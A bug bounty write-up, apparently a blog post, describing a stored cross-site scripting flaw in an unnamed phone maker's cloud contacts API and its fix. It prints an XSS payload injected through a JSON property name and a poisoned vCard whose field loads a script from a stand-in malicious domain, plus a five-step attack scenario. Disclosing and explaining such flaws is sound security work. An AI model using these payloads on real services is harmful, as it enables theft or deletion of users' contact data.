Security bugs — A real case found by me (Back-end)

Alexandre Fernandes
adidoescode
Published in
4 min readNov 5, 2021

Chapter 2 — Back-end

As promised in the first post Chapter 1 — Front-end, in this post, I’m going to share a security bug that was caused by a bad Rest-API implementation on the back-end, which compromised the user interface.

Photo by Markus Spiske on Unsplash

Some months ago I was doing some bug hunting on a Bug Bounty Program from a well-known mobile phone brand that provides cloud services for their users, the company will not be disclosed, let’s pretend that the company name is companyABC.

In the cloud service from companyABC, the users can store and synchronize files from the phone as well as the phone contacts to the cloud storage and manage everything from cloud domain companyABC.cloud.com

During the tests, I started investigating how the phone contacts are created, edited and removed… and one thing caught my attention.

The phone contact creation was using the following payload in the POST request:

{
"content": {
"name": {
"givenName": "contact-name",
"formatted": "contact-name"
},
"displayName": "contact-name",
"organizations": [{
"company": "company-name"
}],
"phoneNumbers": [{
"mobile": "333444555"
}, {
"work": "666777888"
}, {
"home": "111222333"
}],
"emails": [{
"work": "email1@email.com"
}, {
"home": "email1@email.com"
}, {
"other": "email1@email.com"
}]
}
}

And the created phone contact was displayed in a HTML page like below:

contact data displayed in the UI (this is not the real one)

Take a look again at the payload and how the information is rendered on the HTML page, do you see any issue?

Note they are rendered not only the values from the json property but the json properties as well…

Immediately I decided to do a slight change in the payload as below:

...
“emails”: {
...
“OtherZZZ”: “email1@email.com
}

For my surprise it worked, hence, any string could be passed in the json properties from $.email.* (Home, Work and Other) simply doing a manual request.

As the back-end was accepting any json property string, what if we pass the following payload below?

...
“emails”: [
...
{
"other</p><script>alert(1)</script>": "email1@email.com"
}]

Bang! a Cross-site Scripting! The web page was sanitizing only the values, as the JSON properties were not supposed to be different.

The cross-site scripting will be stored in the contact data and as soon as this contact is loaded in the UI, the cross-site scripting will be executed. The script could be able to perform requests to the API in order to retrieve all the contacts data and share it with an external domain as the cloud domain did not have a CSP in place, as well as other things like deleting everything or messing with the victims' data.

Now we know that the backend is allowing us to store the cross-site scripting and it will be executed right after the phone contact is loaded on the web page, but what about the attack scenario? How would an attacker share this with the victim? Read below…

As mentioned in the beginning, the user has the ability to synchronize a phone contact from his/her mobile phone to the cloud, and to my surprise again, I found a way to synchronize the phone contact containing the XSS.

Briefly speaking I had a look at how the virtual contact file specification (VCF) works and then I created the following poison contact file:

BEGIN:VCARD
VERSION:2.1
N:;ContactName;;;
FN:ContactName
TITLE:engineer
ORG:company
UID:55846311917259392
TEL;TYPE=mobile:333444555
TEL;TYPE=WORK:666777888
EMAIL;TYPE=WORK</p><script src="//maliciousdomain.com/myxss.js"/>:
a2@e.com
END:VCARD

And then, to exploit the XSS we have the following Scenario:

1 — The attacker creates the contact.vcf file including the XSS
2 — The attacker shares the file to the given Victim
3 — The Victim saves the contact in his/her contact list
4 — The contact is automatically synchronized to the cloud service
5 — On the cloud page, when the Victim loads the contact information, the XSS is executed.

The exploitability requires some user interactions like saving the poison contact file and open the same on the cloud service, which turns the attacking likelihood very low.

I reported the issue through the company’s Bug Bounty Program and they paid me 300 USD bounty.
From the company side, they managed the fix by simply changing the payload to the format below:


"content": {
...
"phoneNumbers": [{
"value": "333444555",
"type": "mobile"
}, {
"value": "666777888",
"type": "work"
}, {
"value": "111222333",
"type": "home"
}],
"emails": [{
"value": "email1@email.com",
"type": "work"
}, {
"value": "email1@email.com",
"type": "home"
}, {
"value": "email1@email.com",
"type": "other"
}]
}

In this way, the front-end no longer needs to use the property names but the property values instead, and, as the values are always encoded, they got rid of the XSS issue as well as the workaround that allowed the exploit.

That’s all, Thank you for reading :)

--

--